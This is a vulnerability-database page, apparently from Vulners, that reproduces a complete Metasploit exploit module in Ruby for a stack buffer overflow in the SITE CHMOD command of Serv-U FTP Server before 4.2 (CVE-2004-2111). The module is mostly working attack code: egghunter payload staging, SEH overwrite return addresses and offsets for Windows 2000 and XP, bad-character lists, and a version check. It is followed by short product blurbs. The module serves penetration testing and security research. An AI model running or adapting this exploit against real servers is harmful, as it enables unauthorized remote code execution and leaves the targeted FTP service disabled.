Lucene search
K

Serv-U FTP Server Buffer Overflow

🗓️ 30 Nov 2011 01:34:01Reported by theLightCosine <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 42 Views

Serv-U FTP Server Buffer Overflow in site chmod command prior to version 4.2. Requires valid credentials and leaves service non-functional after exploitation

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Egghunter
  include Msf::Exploit::Remote::Ftp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Serv-U FTP Server Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack buffer overflow in the site chmod command
        in versions of Serv-U FTP Server prior to 4.2.

        You must have valid credentials to trigger this vulnerability. Exploitation
        also leaves the service in a non-functional state.
      },
      'Author'         => 'theLightCosine',
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2004-2111'],
          [ 'OSVDB', '3713'],
          [ 'BID', '9483'],
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'BadChars'    => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
          'DisableNops' => true,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows 2000 SP0-4 EN', {
            'Ret'    => 0x750212bc, #WS2HELP.DLL
            'Offset' => 396 } ],
          [ 'Windows XP SP0-1 EN', {
            'Ret'    => 0x71aa388f, #WS2HELP.DLL
            'Offset' => 394 } ]
        ],
      'DisclosureDate' => '2004-12-31',
      'DefaultTarget'  => 0))
  end

  def check
    connect
    disconnect

    if (banner =~ /Serv-U FTP Server v((4.(0|1))|3.\d)/)
      return Exploit::CheckCode::Appears
    end
      return Exploit::CheckCode::Safe
  end


  def exploit
    c = connect_login
    return if not c

    eggoptions =
    {
      :checksum => true,
      :eggtag => "W00T"
    }

    hunter,egg = generate_egghunter(payload.encoded,payload_badchars,eggoptions)


    buffer = "chmod 777 "
    buffer <<  make_nops(target['Offset'] - egg.length - hunter.length)
    buffer << egg
    buffer << hunter
    buffer << "\xeb\xc9\x41\x41"	#nseh, jump back to egghunter
    buffer << [target.ret].pack('V')	#seh
    buffer << rand_text(5000)

    print_status("Trying target #{target.name}...")

    send_cmd( ['SITE', buffer] , false)

    handler
    disconnect
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation